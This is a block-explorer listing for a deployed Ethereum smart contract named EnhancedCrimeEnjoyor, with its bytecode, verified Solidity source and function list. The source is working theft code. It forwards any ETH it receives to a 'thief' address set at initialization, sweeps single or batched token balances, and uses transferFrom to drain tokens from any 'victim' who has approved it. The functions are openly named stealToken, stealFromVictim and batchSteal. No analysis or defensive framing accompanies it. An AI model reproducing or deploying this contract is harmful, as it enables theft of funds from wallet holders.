Address Contract Partially Verified
Address
0xd49C36326B80fcdC3f042D78c96820321BFee1d1
Balance
0 ETH
Nonce
1
Code Size
3092 bytes
Creator
0x7B62d52e...2104 at tx 0x26587c6f...83a1df
Indexed Transactions
0
Contract Bytecode
3092 bytes
0x60806040526004361061004d575f3560e01c8063109004ca146101405780633eb210cf14610168578063b269681d14610190578063c4d66de8146101ba578063f12d1da2146101e25761013c565b3661013c575f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036100d7576040517f87138d5c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3490811502906040515f60405180830381858888f1935050505015801561013a573d5f5f3e3d5ffd5b005b5f5ffd5b34801561014b575f5ffd5b506101666004803603810190610161919061092b565b61020a565b005b348015610173575f5ffd5b5061018e600480360381019061018991906109d0565b610420565b005b34801561019b575f5ffd5b506101a46105f9565b6040516101b19190610a0a565b60405180910390f35b3480156101c5575f5ffd5b506101e060048036038101906101db91906109d0565b61061d565b005b3480156101ed575f5ffd5b5061020860048036038101906102039190610a23565b6106e4565b005b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361028f576040517f87138d5c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f5f90505b8282905081101561041b575f8383838181106102b3576102b2610a61565b5b90506020020160208101906102c891906109d0565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016103009190610a0a565b602060405180830381865afa15801561031b573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061033f9190610ac1565b90505f81111561040d5783838381811061035c5761035b610a61565b5b905060200201602081019061037191906109d0565b73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b81526004016103cb929190610afb565b6020604051808303815f875af11580156103e7573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061040b9190610b57565b505b508080600101915050610294565b505050565b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036104a5576040517f87138d5c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016104df9190610a0a565b602060405180830381865afa1580156104fa573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061051e9190610ac1565b90505f8103610559576040517fd6b53fca00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b81526004016105b4929190610afb565b6020604051808303815f875af11580156105d0573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105f49190610b57565b505050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106a2576040517f0dc149f000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603610769576040517f87138d5c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f8273ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e83306040518363ffffffff1660e01b81526004016107a5929190610b82565b602060405180830381865afa1580156107c0573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107e49190610ac1565b90505f810361081f576040517fd6b53fca00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff166323b872dd835f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518463ffffffff1660e01b815260040161087c93929190610ba9565b6020604051808303815f875af1158015610898573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108bc9190610b57565b50505050565b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f8401126108eb576108ea6108ca565b5b8235905067ffffffffffffffff811115610908576109076108ce565b5b602083019150836020820283011115610924576109236108d2565b5b9250929050565b5f5f60208385031215610941576109406108c2565b5b5f83013567ffffffffffffffff81111561095e5761095d6108c6565b5b61096a858286016108d6565b92509250509250929050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61099f82610976565b9050919050565b6109af81610995565b81146109b9575f5ffd5b50565b5f813590506109ca816109a6565b92915050565b5f602082840312156109e5576109e46108c2565b5b5f6109f2848285016109bc565b91505092915050565b610a0481610995565b82525050565b5f602082019050610a1d5f8301846109fb565b92915050565b5f5f60408385031215610a3957610a386108c2565b5b5f610a46858286016109bc565b9250506020610a57858286016109bc565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b610aa081610a8e565b8114610aaa575f5ffd5b50565b5f81519050610abb81610a97565b92915050565b5f60208284031215610ad657610ad56108c2565b5b5f610ae384828501610aad565b91505092915050565b610af581610a8e565b82525050565b5f604082019050610b0e5f8301856109fb565b610b1b6020830184610aec565b9392505050565b5f8115159050919050565b610b3681610b22565b8114610b40575f5ffd5b50565b5f81519050610b5181610b2d565b92915050565b5f60208284031215610b6c57610b6b6108c2565b5b5f610b7984828501610b43565b91505092915050565b5f604082019050610b955f8301856109fb565b610ba260208301846109fb565b9392505050565b5f606082019050610bbc5f8301866109fb565b610bc960208301856109fb565b610bd66040830184610aec565b94935050505056fea26469706673582212202068d538c69faf10531a0b5d03adcf69782bc2620590b3e0765ee499f8b6b20064736f6c634300081c0033
Verified Source Code Partial Match
Compiler: v0.8.28+commit.7893614a
EVM: cancun
Optimization: No
EnhancedCrimeEnjoyor.sol 58 lines
pragma solidity 0.8.28;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
}
contract EnhancedCrimeEnjoyor {
error AlreadyInitialized();
error NoTokensToSteal();
error NotInitialized();
address public destination;
function initialize(address _thief) public {
if (destination != address(0)) {
revert AlreadyInitialized();
}
destination = _thief;
}
// ETH stealing functionality (original)
receive() external payable {
if (destination == address(0)) revert NotInitialized();
payable(destination).transfer(msg.value);
}
// New token stealing functions
// Steals all balance of a specific token from this contract
function stealToken(address tokenAddress) external {
if (destination == address(0)) revert NotInitialized();
uint256 balance = IERC20(tokenAddress).balanceOf(address(this));
if (balance == 0) revert NoTokensToSteal();
IERC20(tokenAddress).transfer(destination, balance);
}
// Steals from a victim who has approved this contract
function stealFromVictim(address tokenAddress, address victim) external {
if (destination == address(0)) revert NotInitialized();
uint256 allowed = IERC20(tokenAddress).allowance(victim, address(this));
if (allowed == 0) revert NoTokensToSteal();
IERC20(tokenAddress).transferFrom(victim, destination, allowed);
}
// Batch version to steal multiple tokens at once
function batchSteal(address[] calldata tokenAddresses) external {
if (destination == address(0)) revert NotInitialized();
for (uint i = 0; i < tokenAddresses.length; i++) {
uint256 balance = IERC20(tokenAddresses[i]).balanceOf(address(this));
if (balance > 0) {
IERC20(tokenAddresses[i]).transfer(destination, balance);
}
}
}
}
Read Contract
destination 0xb269681d → address
Write Contract 4 functions
These functions modify contract state and require a wallet transaction to execute.
batchSteal 0x109004ca
address[] tokenAddresses
initialize 0xc4d66de8
address _thief
stealFromVictim 0xf12d1da2
address tokenAddress
address victim
stealToken 0x3eb210cf
address tokenAddress
Recent Transactions
No transactions found for this address